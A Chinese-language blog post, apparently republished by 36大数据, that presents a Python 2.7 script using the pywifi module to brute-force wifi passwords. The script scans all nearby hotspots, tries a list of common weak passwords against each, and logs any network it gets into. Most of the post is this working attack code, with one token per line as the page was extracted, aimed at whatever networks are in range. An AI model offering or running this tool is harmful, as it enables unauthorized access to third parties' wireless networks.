用Python尝试破解wifi无线密码

我是创始人李岩:很抱歉!给自己产品做个广告,点击进来看看。  

用Python尝试破解wifi无线密码

作者|面包君

上点python有意思的代码。

环境准备

  • python2.7
  • pywifi模块
  • 字典
  • 清除系统中的任何wifi连接记录

导入模块

这里用的模块就这三个 pywifi的_wifiutil_linux.py脚本的 _send_cmd_to_wpas方法中的if reply != b’OK\n’:判断需要修改,不然会有很多的提示信息。

					
						from pywifi import *
						import time
						import sys
					
				

字典准备

随机搞的wifi弱口令TOP10

  1. 12345678
  2. 123456789
  3. 88888888
  4. 1234567890
  5. 00000000
  6. 87654321
  7. 66668888
  8. 11223344
  9. 147258369
  10. 11111111

配置扫描器

推荐扫描时常可以设置在15-20秒之间 测试时常则可以自定义,考虑到认证速度于距离的关系,我一般设置在15左右,再久的也没意义 到时候就算破解成功的热点,信号也好不到哪里

					
						def
						main
						():
						#扫描时常
						scantimes
						=
						3
						#单个密码测试延迟
						testtimes
						=
						15
						output
						=
						sys
						.
						stdout
						#结果文件保存路径
						files
						=
						"TestRes.txt"
						#字典列表
						keys
						=
						open
						(
						sys
						.
						argv
						[
						1
						],
						"r"
						)
						.
						readlines
						()
						print
						"|KEYS
						%s
						"
						%
						(
						len
						(
						keys
						))
						#实例化一个pywifi对象
						wifi
						=
						PyWiFi
						()
						#选择定一个网卡并赋值于iface
						iface
						=
						wifi
						.
						interfaces
						()[
						0
						]
						#通过iface进行一个时常为scantimes的扫描并获取附近的热点基础配置
						scanres
						=
						scans
						(
						iface
						,
						scantimes
						)
						#统计附近被发现的热点数量
						nums
						=
						len
						(
						scanres
						)
						print
						"|SCAN GET
						%s
						"
						%
						(
						nums
						)
						print
						"
						%s
						\n
						%-*s
						|
						%-*s
						|
						%-*s
						|
						%-*s
						|
						%-*s
						|
						%-*s
						%*s
						\n
						%s
						"
						%
						(
						"-"
						*
						70
						,
						6
						,
						"WIFIID"
						,
						18
						,
						"SSID OR BSSID"
						,
						2
						,
						"N"
						,
						4
						,
						"time"
						,
						7
						,
						"signal"
						,
						10
						,
						"KEYNUM"
						,
						10
						,
						"KEY"
						,
						"="
						*
						70
						)
						#将每一个热点信息逐一进行测试
						for
						i
						,
						x
						in
						enumerate
						(
						scanres
						):
						#测试完毕后,成功的结果讲存储到files中
						res
						=
						test
						(
						nums
						-
						i
						,
						iface
						,
						x
						,
						keys
						,
						output
						,
						testtimes
						)
						if
						res
						:
						open
						(
						files
						,
						"a"
						)
						.
						write
						(
						res
						)
					
				

扫描周围热点

					
						def
						scans
						(
						face
						,
						timeout
						):
						#开始扫描
						face
						.
						scan
						()
						time
						.
						sleep
						(
						timeout
						)
						#在若干秒后获取扫描结果
						return
						face
						.
						scan_results
						()
					
				

热点测试

这里后续推荐将扫描过程数据入库,防止重复扫描,且更加直观。

					
						def
						test
						(
						i
						,
						face
						,
						x
						,
						key
						,
						stu
						,
						ts
						):
						#显示对应网络名称,考虑到部分中文名啧显示bssid
						showID
						=
						x
						.
						bssid
						if
						len
						(
						x
						.
						ssid
						)
						>
						len
						(
						x
						.
						bssid
						)
						else
						x
						.
						ssid
						#迭代字典并进行爆破
						for
						n
						,
						k
						in
						enumerate
						(
						key
						):
						x
						.
						key
						=
						k
						.
						strip
						()
						#移除所有热点配置
						face
						.
						remove_all_network_profiles
						()
						#讲封装好的目标尝试连接
						face
						.
						connect
						(
						face
						.
						add_network_profile
						(
						x
						))
						#初始化状态码,考虑到用0会发生些逻辑错误
						code
						=
						10
						t1
						=
						time
						.
						time
						()
						#循环刷新状态,如果置为0则密码错误,如超时则进行下一个
						while
						code
						!=
						0
						:
						time
						.
						sleep
						(
						0.1
						)
						code
						=
						face
						.
						status
						()
						now
						=
						time
						.
						time
						()
						-
						t1
						if
						now
						>
						ts
						:
						break
						stu
						.
						write
						(
						"
						\r
						%-*s
						|
						%-*s
						|
						%s
						|
						%*.2f
						s|
						%-*s
						|
						%-*s
						%*s
						"
						%
						(
						6
						,
						i
						,
						18
						,
						showID
						,
						code
						,
						5
						,
						now
						,
						7
						,
						x
						.
						signal
						,
						10
						,
						len
						(
						key
						)
						-
						n
						,
						10
						,
						k
						.
						replace
						(
						"
						\n
						"
						,
						""
						)))
						stu
						.
						flush
						()
						if
						code
						==
						4
						:
						face
						.
						disconnect
						()
						return
						"
						%-*s
						|
						%s
						|
						%*s
						|
						%*s
						\n
						"
						%
						(
						20
						,
						x
						.
						ssid
						,
						x
						.
						bssid
						,
						3
						,
						x
						.
						signal
						,
						15
						,
						k
						)
						return
						False
					
				

案例

这里显示本次测试使用了11个弱口令,并扫描到了20个热点,然后开始坑爹的跑起来了

  • WIFIID 热点的id号 每跑一个会减1
  • SSID OR BSSID 热点的ssid名或mac地址
  • N 对热点的连接状态,这个在
  • time 当前所花去的时间
  • signal 热点的信号强度,若小越好
  • KEYNUM 测试密码的id 每跑一个会减1
  • KEY 当前测试的密码

用Python尝试破解wifi无线密码

End.

转载请注明来自36大数据(36dsj.com): 36大数据 » 用Python尝试破解wifi无线密码

随意打赏

破解wifi密码
提交建议
微信扫一扫,分享给好友吧。